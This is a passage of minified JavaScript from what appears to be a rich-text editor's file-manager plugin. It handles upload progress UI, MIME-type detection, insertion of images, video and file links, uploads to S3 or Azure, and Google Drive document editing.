20.555625 19.53726 C 20.555625 20.357572 19.890625 21.024639 19.07125 21.024639 Z M 19.07125 21.024639 " transform="matrix(1.315789,0,0,1.3,0,0)"/></svg></button></span>\n\n <button type="button" id="fr-file-delete-button-').concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons\n fr-file-button-").concat(e,' fr-file-delete-button" data-cmd="deleteImage" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n \n </div>\n <div id="user_area-').concat(e,"\" style=\"display: none;\">\n \n <div id=\"file_container\"></div>\n\n <div style='display:block;text-align: center; margin-left:50%; id='edit-file-loader' class='fr-file-loader'></div>\n\n </div> \n ")}function Ee(e,t,n){var r=k.popups.get("filesManager.insert");if(!n&&e<=100){r.find(".fr-checkbox-file-"+t).get(0).disabled=!0,r.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),r.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled");var a=r.find(".fr-file-progress-circle-"+t),o=r.find(".fr-file-upload-percent-"+t);return 50<e?a.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)+" over50"):a.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)),o.get(0).innerHTML=Math.floor(e)+"%",void ye(t,e,n)}n&&(r.find(".fr-checkbox-file-"+t).get(0).disabled=!1,r.find(".fr-checkbox-"+t).get(0).classList.remove("fr-checkbox-disabled"),r.find(".fr-checkbox-"+t).get(0).classList.add("fr-files-checkbox"),r.find(".fr-file-item-right-"+t).get(0).innerHTML=Ce(t),ye(t,100,n))}function ye(e,t,n){var r=k.popups.get("filesManager.insert");r.find(".fr-progress-bar").removeClass("fr-none").addClass("fr-display-block"),r.find(".fr-upload-progress").hasClass("fr-height-set")&&k.popups.setFileListHeight(r);var a=0;w.set(e,t),w.forEach(function(e,t){a+=e}),a/=w.size,100==t&&n&&o++,r.find('.fr-command[data-cmd="filesUpload"]').addClass("fr-disabled"),r.find('.fr-command[data-cmd="filesByURL"]').addClass("fr-disabled"),r.find('.fr-command[data-cmd="filesEmbed"]').addClass("fr-disabled"),r.find(".fr-progress-bar").get(0).style.width=a+"%",o==w.size&&(r.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),w=new Map,o=0,r.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),r.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),r.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"))}function Le(n,r){J(),k.popups.get("filesManager.insert").find(".fr-upload-progress-layer").addClass("fr-active"),n.forEach(function(e,t){De(ke(e))&&k.opts.imageUploadRemoteUrls&&k.opts.imageCORSProxy&&k.opts.imageUpload?Me(e,n,y,r[t]):M.set(r[t],e)})}function Te(e){e&&e.get&&function n(e){if("false"==R(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&de)return!0;if(e&&k.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<kt.INSTANCES.length;t++)kt.INSTANCES[t]!=k&&kt.INSTANCES[t].events.trigger("image.hideResizer");k.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault());k.helpers.isMobile()&&(k.events.disableBlur(),k.$el.blur(),k.events.enableBlur());k.opts.iframe&&k.size.syncIframe();y=R(this),U(),k.browser.msie?(k.popups.areVisible()&&k.events.disableBlur(),k.win.getSelection&&(k.win.getSelection().removeAllRanges(),k.win.getSelection().addRange(k.doc.createRange()))):k.selection.clear();k.helpers.isIOS()&&(k.events.disableBlur(),k.$el.blur());k.button.bulkRefresh(),k.events.trigger("video.hideResizer")}.call(e.get(0))}function we(){var e=R(this);e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),(0==a.length||0<a.length&&a.length==u)&&(f=e),"VIDEO"==e.get(0).tagName||"AUDIO"==e.get(0).tagName?k.selection.setAfter(e.parent()):k.selection.setAfter(e),k.undo.saveStep(),k.events.trigger("filesManager.loaded",[e]),_e(a)}function Ae(){var e,t=Array.prototype.slice.call(k.el.querySelectorAll("video, .fr-video > *")),n=[];for(e=0;e<t.length;e++)n.push(t[e].getAttribute("src")),R(t[e]).toggleClass("fr-draggable",k.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(r)for(e=0;e<r.length;e++)n.indexOf(r[e].getAttribute("src"))<0&&k.events.trigger("video.removed",[R(r[e])]);r=t}function _e(e){if(null!=e){if(0==e.length)return void(null!=f&&("VIDEO"==f.get(0).tagName?k.video._editVideo(f.parent()):"IMG"==f.get(0).tagName?k.image.edit(f):f.trigger("click"),k.toolbar.disable()));xe(e.shift(),e)}}function Se(e){var t=!1;if(Fe(ke(M.get(e))))k.trimVideoPlugin.trimVideo(N.get(e),e,N),t=!0;else if(De(ke(M.get(e)))){var n=M.get(e).link,r=k.o_doc.createElement("img");r.src=n,y=r,i=e,k.imageTUI.launch(k,!1,e),t=!0}else if(Be(ke(M.get(e)))){var a={apiKey:k.opts.googleOptions.API_KEY,clientId:k.opts.googleOptions.CLIENT_ID,authorizeButton:"authorize_button-".concat(e),signoutButton:"signout_button",userArea:"user_area-".concat(e),fileInput:"file_input",fileIndex:e,file:N.get(e),fileContainer:"file_container",loadingText:"File is being uploaded...",events:{onInvalidFile:function(e){},onError:function(e){}}};ce=function d(p){var o,e=["https://www.googleapis.com/discovery/v1/apis/drive/v2/rest"],u="id,title,mimeType,userPermission,editable,copyable,shared,fileSize",h="-------314159265358979323846",g="\r\n--"+h+"\r\n",m="\r\n--"+h+"--",t=(document.getElementById(p.authorizeButton),document.getElementById(p.userArea));p.events||(p.events={});function n(){gapi.client.init({apiKey:p.apiKey,clientId:p.clientId,discoveryDocs:e,scope:"https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.appdata"}).then(function(){gapi.auth2.getAuthInstance().isSignedIn.listen(r),r(gapi.auth2.getAuthInstance().isSignedIn.get()),function t(e){!gapi.auth2.getAuthInstance().isSignedIn.get()||gapi.auth.getToken()!==undefined&&gapi.auth.getToken().access_token===undefined?Promise.resolve(gapi.auth2.getAuthInstance().signIn()).then(function(){i()}):i()}()},function(e){p.events.onError(e)})}function r(e){e&&(t.style.display="block")}function a(e){var t=gapi.auth.getToken().access_token,n=o,r="https://docs.google.com/feeds/download/documents/export/Export?id="+n+"&format=docx&access_token="+t,a=new XMLHttpRequest;a.open("get",r),a.responseType="arraybuffer",a.onload=function(){var e=new Blob([new Uint8Array(this.response)],{type:"application/vnd.openxmlformats-officedocument.wordprocessingml.document"}),t=N.get(p.fileIndex);e.name=t.name,e.lastModified=t.lastModified,e.lastModifiedDate=t.lastModifiedDate,N.set(p.fileIndex,e),k.filesManager.upload(e,M,y,p.fileIndex),l()},a.send()}function i(e){!function r(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),n=0;n<t.length;n++)t[n].setAttribute("disabled",!0),t[n].classList.add("fr-disabled")}(p.fileIndex);var t=p.file;t?function n(c,d){var f=new FileReader;f.readAsArrayBuffer(c),f.onload=function(e){for(var t={title:c.name,mimeType:"application/vnd.google-apps.document"},n="",r=new Uint8Array(f.result),a=r.byteLength,o=0;o<a;o++)n+=String.fromCharCode(r[o]);var i=btoa(n),s=g+"Content-Type: application/json; charset=UTF-8\r\n\r\n"+JSON.stringify(t)+g+"Content-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\n\r\n"+i+m,l=gapi.client.request({path:"/upload/drive/v2/files",method:"POST",params:{uploadType:"multipart",fields:u},headers:{"Content-Type":'multipart/related; boundary="'+h+'"',"Content-Length":s.Length},body:s});d||(d=function(e){}),l.execute(function(e,t){e.error?p.events.onError(e.error):d(e)})}}(t,s):p.events.onInvalidFile("File is not selected")}function s(e){o=e.id;var t="https://docs.google.com/document/d/"+e.id+"/edit",n=k.o_doc.body,r=k.o_doc.createElement("div");r.setAttribute("id","editDocContainer"),r.style.cssText="position: fixed; top: 0;left: 0;padding: 0;width: 100%;height: 100%;background: rgba(255,255,255,1);z-index: 9998;display:block",r.innerHTML='<div style="margin-top:25px; text-align:center"><label>Sign Out : </label><input type="checkbox" id ="markSignOut" role="button"/> <button id="signout_button" class="fr-trim-button" >Save </button> <button id="cancel_file_edit" class="fr-trim-button">Cancel</button></div> <iframe title="Edit your file" frameBorder="0" width="100%" height="700px" src="'+t+'"></iframe>',n.appendChild(r),document.getElementById("signout_button").onclick=a,document.getElementById("cancel_file_edit").onclick=l}function l(){document.getElementById("markSignOut").checked&&gapi.auth2.getAuthInstance().signOut().then(function(){gapi.auth.getToken()&&(gapi.auth.getToken().access_token=undefined)});var e=document.getElementById("editDocContainer");e.parentNode.removeChild(e),document.getElementById("user_area-".concat(p.fileIndex))&&(document.getElementById("user_area-".concat(p.fileIndex)).style.display="none"),function r(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),n=0;n<t.length;n++)t[n].removeAttribute("disabled"),t[n].classList.remove("fr-disabled")}(p.fileIndex)}p.events.onInvalidFile=p.events.onInvalidFile||function(e){},p.events.onError=p.events.onError||function(e){};var c={};return c.handleClientLoad=function(){gapi.load("client:auth2",n)},c}(a),function o(e,t){var r=function r(e,t){var n=document.createElement("script");n.src=e,n.onload=function(){this.onload=function(){},ce.handleClientLoad()},n.onreadystatechange=function(){"complete"===this.readyState&&this.onload()},(document.getElementsByTagName("head")[0]||document.body).appendChild(n)};!function n(){0!=e.length?r(e.shift(),n):t&&t()}()}(["https://apis.google.com/js/api.js"],function(){})}t&&(p=!0)}function ke(e){var n;if(""!=e.type)return e.type;if(e.name&&e.name.endsWith(".msg"))return n="application/vnd.ms-outlook";var r=/(?:\.([^.]+))?$/.exec(e.name)[1];return[[".doc","application/msword"],[".docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"],[".gif","image/gif"],[".jpeg","image/jpeg"],[".jpg","image/jpeg"],[".txt","text/plain"],[".log","type/text"],[".mov","video/quicktime"],[".mp3","audio/mpeg"],[".mp4","video/mp4"],[".ogg","audio/ogg"],[".ogv","video/ogg"],[".pdf","application/pdf"],[".png","image/png"],[".webm","video/webm"],[".webp","image/webp"],[".wmv","video/x-ms-wmv"],[".xls","application/vnd.ms-excel"],[".xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"],[".zip","application/x-zip-compressed"]].forEach(function(e,t){e[0]==".".concat(r)&&(n=e[1])}),n}function xe(s,e){if(Be(ke(M.get(s)))||!$e(ke(M.get(s)))){var t,n=M.get(s).link,r=M.get(s).text,a=M.get(s).data;!r&&N.get(s)&&N.get(s).name&&(r=N.get(s).name);var o=M.get(s).response;k.edit.on(),k.events.focus(!0),k.selection.restore(),k.opts.fileUseSelectedText&&k.selection.text().length&&(r=k.selection.text());var i='<a href="'.concat(n,'" target="_blank" id="fr-inserted-file" ');if(void 0!==a)for(t in a)a.hasOwnProperty(t)&&"link"!=t&&(i+="".concat(t,'="').concat(a[t],'" '));-1==i.indexOf(' class="')&&(i+='class="fr-file" '),i+=">".concat(r,"</a>"),k.html.insert(i);var l=k.$el.find("#fr-inserted-file");l.removeAttr("id"),k.undo.saveStep(),function A(){var e,t=Array.prototype.slice.call(k.el.querySelectorAll("a.fr-file")),n=[];for(e=0;e<t.length;e++)n.push(t[e].getAttribute("href"));if(le)for(e=0;e<le.length;e++)n.indexOf(le[e].getAttribute("href"))<0&&k.events.trigger("file.unlink",[le[e]]);le=t}(),k.selection.clear(),k.selection.setAfter(l),k.events.trigger("file.inserted",[l,o]),_e(e)}if(De(ke(M.get(s)))&&$e(ke(M.get(s)))){var c=M.get(s).link,d=M.get(s).sanitize,f=M.get(s).data,p=M.get(s).$existing_img,u=M.get(s).response;p&&"string"==typeof p&&(p=k.$(p)),k.edit.off(),ee(k.language.translate("Loading image")),d&&(c=k.helpers.sanitizeURL(c));var h=new Image;h.onload=function(){var e,t;if(p){k.undo.canDo()||p.hasClass("fr-uploading")||k.undo.saveStep();var n=p.data("fr-old-src");p.data("fr-image-pasted")&&(n=null),k.$wp?((e=p.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),n&&p.attr("src",n),p.replaceWith(e)):e=p;for(var r=e.get(0).attributes,a=0;a<r.length;a++){var o=r[a];0===o.nodeName.indexOf("data-")&&e.removeAttr(o.nodeName)}if(void 0!==f)for(t in f)f.hasOwnProperty(t)&&"link"!=t&&e.attr("data-".concat(t),f[t]);e.on("load",we),e.attr("src",c),k.edit.on(),k.undo.saveStep(),k.events.disableBlur(),k.$el.blur(),k.events.trigger(n?"image.replaced":"image.inserted",[e,u])}else e=function s(e,t,n){var r,a=R(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(r in t)t.hasOwnProperty(r)&&"link"!=r&&(" data-".concat(r,'="').concat(t[r],'"'),a.attr("data-".concat(r),t[r]));var o=k.opts.imageDefaultWidth;o&&"auto"!=o&&(o=k.opts.imageResizeWithPercent?"100%":"".concat(o,"px"));a.attr("style",o?"width: ".concat(o,";"):""),it(a,k.opts.imageDefaultDisplay,k.opts.imageDefaultAlign),a.on("load",n),a.on("error",n),k.edit.on(),k.events.focus(!0),k.selection.restore(),k.undo.saveStep(),k.opts.imageSplitHTML?k.markers.split():k.markers.insert();k.html.wrap();var i=k.$el.find(".fr-marker");i.length?(i.parent().is("hr")&&i.parent().after(i),k.node.isLastSibling(i)&&i.parent().hasClass("fr-deletable")&&i.insertAfter(i.parent()),i.replaceWith(a)):k.$el.append(a);return a}(c,f,we),k.undo.saveStep(),k.events.disableBlur(),k.$el.blur(),k.events.trigger("image.inserted",[e,u])},h.onerror=function(){j(D,null,null,s),_e(e)},h.src=c}if((Fe(ke(M.get(s)))||Pe(ke(M.get(s))))&&$e(ke(M.get(s))))if(x=s,"video/url"==ke(M.get(s))){var g=!1;if(document.getElementById("fr-file-autoplay-button-"+s)!==undefined&&(g=document.getElementById("fr-file-autoplay-button-"+s).checked),g&&M.get(s)!==undefined&&-1<M.get(s).video.indexOf("iframe")&&M.get(s).video.indexOf("autoplay=1")<0){var m=M.get(s).video.substring(M.get(s).video.indexOf("src")+3),v="&";(m=(m=m.substring(m.indexOf('"')+1)).substring(0,m.indexOf('"'))).indexOf("?")<0&&(v="?"),M.get(s).video=M.get(s).video.replace(m,m+=v+"autoplay=1&mute=1")}else!g&&M.get(s).video.indexOf(!1)&&(-1<M.get(s).video.indexOf("&autoplay=1")&&(M.get(s).video=M.get(s).video.replace("&autoplay=1","")),-1<M.get(s).video.indexOf("?autoplay=1")&&(M.get(s).video=M.get(s).video.replace("?autoplay=1","")));k.events.focus(!0),k.selection.restore(),k.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(M.get(s).video,"</span>"),!1,k.opts.videoSplitHTML),k.popups.hide("filesManager.insert");var b=k.$el.find(".fr-jiv");b.removeClass("fr-jiv"),b.toggleClass("fr-rv",k.opts.videoResponsive),function _(e,t,n){!k.opts.htmlUntouched&&k.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(n[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==n?e.css({"float":"none"}):"left"==n?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==n?e.css({textAlign:"left"}):"right"==n?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(b,k.opts.videoDefaultDisplay,k.opts.videoDefaultAlign),b.toggleClass("fr-draggable",k.opts.videoMove),k.events.trigger("video.inserted",[b]),we.call(b)}else{var C=M.get(s).link,E=M.get(s).sanitize,y=M.get(s).data,L=M.get(s).$existing_img,T=M.get(s).response;k.edit.off(),E&&(C=k.helpers.sanitizeURL(C)),function S(){var e,t;if(L){k.undo.canDo()||L.find("video").hasClass("fr-uploading")||k.undo.saveStep();var n=L.find("video").data("fr-old-src"),r=L.data("fr-replaced");L.data("fr-replaced",!1),k.$wp?((e=L.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),n&&L.find("video").attr("src",n),L.replaceWith(e)):e=L;for(var a=e.find("video").get(0).attributes,o=0;o<a.length;o++){var i=a[o];0===i.nodeName.indexOf("data-")&&e.find("video").removeAttr(i.nodeName)}if(void 0!==y)for(t in y)y.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),y[t]);e.find("video").on("canplay",we),e.find("video").attr("src",C),k.edit.on(),Ae(),k.undo.saveStep(),k.$el.blur(),k.events.trigger(r?"video.replaced":"video.inserted",[e,T])}else e=function u(e,t,n,r,a){var o,i="";if(t&&void 0!==t)for(o in t)t.hasOwnProperty(o)&&"link"!=o&&(i+=" data-".concat(o,'="').concat(t[o],'"'));var s,l=k.opts.videoDefaultWidth;l&&"auto"!=l&&(l="".concat(l,"px"));if(Pe(r))s=R(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+k.opts.videoDefaultDisplay[0]+("center"!=k.opts.videoDefaultAlign?" fr-fv"+k.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+i+" controls>"+k.language.translate("Your browser does not support HTML5 video.")+"</audio>");else{var c="",d=document.getElementById("fr-file-autoplay-button-"+a).checked;d&&(c="autoplay"),s=R(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+k.opts.videoDefaultDisplay[0]+("center"!=k.opts.videoDefaultAlign?" fr-fv"+k.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+i+(l?' style="width: '+l+';" ':"")+c+" controls>"+k.language.translate("Your browser does not support HTML5 video.")+"</video>")}s.toggleClass("fr-draggable",k.opts.videoMove),k.edit.on(),k.events.focus(!0),k.selection.restore(),k.undo.saveStep(),k.opts.videoSplitHTML?k.markers.split():k.markers.insert();k.html.wrap();var f=k.$el.find(".fr-marker");k.node.isLastSibling(f)&&f.parent().hasClass("fr-deletable")&&f.insertAfter(f.parent());f.replaceWith(s);var p="";p=Pe(r)?"audio":"video",s.find(p).get(0).readyState>s.find(p).get(0).HAVE_FUTURE_DATA||k.helpers.isIOS()?n.call(s.find(p).get(0)):(s.find(p).on("canplaythrough load",n),s.find(p).on("error",n));return s}(C,y,we,ke(M.get(s)),s),Ae(),k.undo.saveStep(),k.events.trigger("video.inserted",[e,T])}()}k.popups.hide("filesManager.insert"),O["delete"](s);var w=k.popups.get("filesManager.insert");w.find("input.fr-insert-attr.fr-checkbox-file-".concat(s))[0].checked=!1,w.find(".fr-file-"+s).get(0).classList.add("fr-unchecked"),Z(),document.getElementById("fr-file-autoplay-button-"+s)&&(document.getElementById("fr-file-autoplay-button-"+s).checked=!1),I=I.filter(function(e){return e!=s})}function Re(e,t){try{if(!1===k.events.trigger("filesManager.uploaded",[e],!0))return k.edit.on(),!1;var n=JSON.parse(e);return n.link?n:(j(m,e,null,t),!1)}catch(r){return j(S,e,null,t),!1}}function Ne(e,t){try{var n=R(e).find("Location").text(),r=R(e).find("Key").text();return!1===k.events.trigger("filesManager.uploadedToS3",[n,r,e],!0)?(k.edit.on(),!1):n}catch(a){return j(S,e,null,t),!1}}function Me(e,t,n,r){if(-1<$.indexOf(ke(e))||!ke(e))return j(F,null,null,r),!1;if(!1===k.events.trigger("filesManager.beforeUpload",[t]))return!1;if(!(null!==k.opts.filesManagerUploadURL&&k.opts.filesManagerUploadURL!=L||k.opts.filesManagerUploadToS3||k.opts.filesManagerUploadToAzure))return function C(s,l,c){var d=new FileReader;d.onload=function(){var e=d.result;if(d.result.indexOf("svg+xml")<0){for(var t=atob(d.result.split(",")[1]),n=[],r=0;r<t.length;r++)n.push(t.charCodeAt(r));if(e=window.URL.createObjectURL(new Blob([new Uint8Array(n)],{type:ke(l)})),De(ke(l))){var a={link:e,sanitize:!1,data:null,$existing_img:c,response:null,type:ke(l)};M.set(s,a)}if(Be(ke(l))){var o={link:e,text:l.name,response:null,type:ke(l)};M.set(s,o)}if(Fe(ke(l))||Pe(ke(l))){var i={link:e,sanitize:!1,data:null,$existing_img:c,type:ke(l)};M.set(s,i)}}},d.readAsDataURL(l)}(r,e),!1;if(De(ke(e))&&(e.name||(e.name=(new Date).getTime()+"."+(ke(e)||"image/jpeg").replace(/image\//g,""))),e.size>k.opts.filesManagerMaxSize)return j(B,null,null,r),!1;if(k.opts.filesManagerAllowedTypes.indexOf("*")<0&&k.opts.filesManagerAllowedTypes.indexOf(ke(e))<0)return j(F,null,null,r),!1;var a;if(function E(e){isNaN(e)||(k.popups.get("filesManager.insert").find(".fr-file-item-right-"+e).get(0).innerHTML='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-cancel-upload-button-'.concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-file-cancel-upload-button" data-cmd="cancelUpload" data-title="Cancel" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z\'></path></svg>\n </button>\n\n <button type="button" id="fr-upload-delete-button-').concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-upload-delete-button" data-cmd="deleteUpload" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n\n <div class=\'progress-circle p0 fr-file-progress-circle-').concat(e,"'>\n <span class='fr-file-upload-percent-").concat(e," fr-file-upload-percent'>0%</span>\n <div class='left-half-clipper'>\n <div class='first50-bar'></div>\n <div class='value-bar'></div>\n </div>\n </div>\n </div>"),w.set(e,0))}(r),k.drag_support.formdata&&(a=k.drag_support.formdata?new FormData:null),a){var o;if(!1!==k.opts.filesManagerUploadToS3)for(o in a.append("key",k.opts.filesManagerUploadToS3.keyStart+(new Date).getTime()+"-"+(e.name||"untitled")),a.append("success_action_status","201"),a.append("X-Requested-With","xhr"),a.append("Content-Type",ke(e)),k.opts.filesManagerUploadToS3.params)k.opts.filesManagerUploadToS3.params.hasOwnProperty(o)&&a.append(o,k.opts.filesManagerUploadToS3.params[o]);for(o in k.opts.filesManagerUploadParams)k.opts.filesManagerUploadParams.hasOwnProperty(o)&&a.append(o,k.opts.filesManagerUploadParams[o]);a.append(k.opts.filesManagerUploadParam,e,e.name);var i,s,l=k.opts.filesManagerUploadURL;k.opts.filesManagerUploadToS3&&(l=k.opts.filesManagerUploadToS3.uploadURL?k.opts.filesManagerUploadToS3.uploadURL:"https://".concat(k.opts.filesManagerUploadToS3.region,".amazonaws.com/").concat(k.opts.filesManagerUploadToS3.bucket)),k.opts.filesManagerUploadToAzure&&(l=k.opts.filesManagerUploadToAzure.uploadURL?"".concat(k.opts.filesManagerUploadToAzure.uploadURL,"/").concat(e.name):encodeURI("https://".concat(k.opts.filesManagerUploadToAzure.account,".blob.core.windows.net/").concat(k.opts.filesManagerUploadToAzure.container,"/").concat(e.name)),i=l,k.opts.filesManagerUploadToAzure.SASToken&&(l+=k.opts.filesManagerUploadToAzure.SASToken),k.opts.filesManagerUploadMethod="PUT");var c=k.core.getXHR(l,k.opts.filesManagerUploadMethod);if(k.opts.filesManagerUploadToAzure){var d=(new Date).toUTCString();if(!k.opts.filesManagerUploadToAzure.SASToken&&k.opts.filesManagerUploadToAzure.accessKey){var f=k.opts.filesManagerUploadToAzure.account,p=k.opts.filesManagerUploadToAzure.container;if(k.opts.filesManagerUploadToAzure.uploadURL){var u=k.opts.filesManagerUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var h="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),g=encodeURI("/"+f+"/"+p+"/"+e.name),m=k.opts.filesManagerUploadMethod+"\n\n\n"+e.size+"\n\n"+ke(e)+"\n\n\n\n\n\n\n"+h+"\n"+g,v=k.cryptoJSPlugin.cryptoJS.HmacSHA256(m,k.cryptoJSPlugin.cryptoJS.enc.Base64.parse(k.opts.filesManagerUploadToAzure.accessKey)).toString(k.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;s=v,c.setRequestHeader("Authorization",b)}for(o in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",ke(e)),c.setRequestHeader("x-ms-blob-type","BlockBlob"),k.opts.filesManagerUploadParams)k.opts.filesManagerUploadParams.hasOwnProperty(o)&&c.setRequestHeader(o,k.opts.filesManagerUploadParams[o]);for(o in k.opts.filesManagerUploadToAzure.params)k.opts.filesManagerUploadToAzure.params.hasOwnProperty(o)&&c.setRequestHeader(o,k.opts.filesManagerUploadToAzure.params[o])}c.onload=function(){Be(ke(e))?function h(e,t,n,r,a){var o=this.status,i=this.response,s=this.responseXML,l=this.responseText;try{if(k.opts.filesManagerUploadToS3||k.opts.filesManagerUploadToAzure)if(201===o){var c;if(k.opts.filesManagerUploadToAzure){if(!1===k.events.trigger("filesManager.uploadedToAzure",[this.responseURL,a,i],!0))return k.edit.on(),!1;c=r}else c=Ne(s,t);if(c){var d={link:c,text:e,response:i,type:n};M.set(t,d)}}else j(S,i||s,null,t);else if(200<=o&&o<300){var f=Re(l,t);if(f){var p={link:f.link,text:e,response:i,type:n,data:f};M.set(t,p)}}else j(_,i||l,null,t)}catch(u){j(S,i||l,null,t)}}.call(c,e.name,r,ke(e),i,s):function g(e,t,n,r,a){var o=this.status,i=this.response,s=this.responseXML,l=this.responseText;try{if(k.opts.filesManagerUploadToS3||k.opts.filesManagerUploadToAzure)if(201==o){var c;if(k.opts.filesManagerUploadToAzure){if(!1===k.events.trigger("filesManager.uploadedToAzure",[this.responseURL,a,i],!0))return k.edit.on(),!1;c=r}else c=Ne(s,t);if(c){var d={link:c,sanitize:!1,data:[],$existing_img:e,response:i||s,type:n};M.set(t,d)}}else j(S,i||s,e,t);else if(200<=o&&o<300){var f=Re(l,t);if(f){var p={link:f.link,sanitize:!1,data:f,$existing_img:e,response:i||s,type:n};M.set(t,p)}}else j(_,i||l,e,t)}catch(u){j(S,i||l,e,t)}}.call(c,y,r,ke(e),i,s),A.has(r)||Ee(100,r,!0)},c.onerror=function(){j(S,this.response||this.responseText||this.responseXML,null,r)},c.upload.onprogress=function(e){!function n(e,t){e.lengthComputable&&Ee(e.loaded/e.total*100|0,t,!1)}(e,r)},c.onabort=function(e){!function n(e,t){j(P,t,y,e)}(r,e)},c.send(k.opts.filesManagerUploadToAzure?e:a),T.set(r,c)}}function Oe(l){k.events.$on(l,"click",".fr-upload-progress-layer",function(e){if(k.helpers.isMobile())return e.stopPropagation(),!1},!0),k.events.$on(l,"dragover dragenter",".fr-upload-progress-layer",function(e){e.preventDefault();for(var t=0;t<e.originalEvent.dataTransfer.types.length;t++)"Files"==e.originalEvent.dataTransfer.types[t]&&(e.originalEvent.dataTransfer.dropEffect="none");return!1},!0),k.events.$on(l,"dragleave dragend",".fr-upload-progress-layer",function(e){return e.preventDefault(),!1},!0),k.events.$on(l,"dragover dragenter",".fr-files-upload-layer",function(e){return R(this).addClass("fr-drop"),(k.browser.msie||k.browser.edge)&&e.preventDefault(),!1},!0),k.events.$on(l,"dragleave dragend",".fr-files-upload-layer",function(e){return R(this).removeClass("fr-drop"),(k.browser.msie||k.browser.edge)&&e.preventDefault(),!1},!0),k.events.$on(l,"click",".fr-insert-checkbox",function(e){if(this.classList.contains("fr-checkbox-disabled"))return this.children.target.disabled=!0,void(this.children.target.checked=!1);var t=parseInt(this.id.split("-").pop());O.set(t,this.children.target.checked);for(var n=l.find('.fr-command[data-cmd="insertAll"]'),r=l.find('.fr-command[data-cmd="deleteAll"]'),a=l.find('input.fr-file-insert-check[type="checkbox"]'),o=a.length,i=!0,s=0;s<o;s++)1==a[s].checked&&(i=!1);if(i?n.addClass("fr-disabled"):n.removeClass("fr-disabled"),i?r.addClass("fr-disabled"):r.removeClass("fr-disabled"),this.children.target.checked)l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","true"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.remove("fr-unchecked");else{this.id.split("-").pop();l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","false"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.add("fr-unchecked")}}),k.events.$on(l,"click",".fr-file-insert-button",function(e){this.classList.contains("fr-disabled")||xe(parseInt(this.id.split("-").pop()))}),k.events.$on(l,"click",".fr-file-autoplay-button",function(e){if(this.parentNode.classList.contains("fr-checkbox-disabled"))retu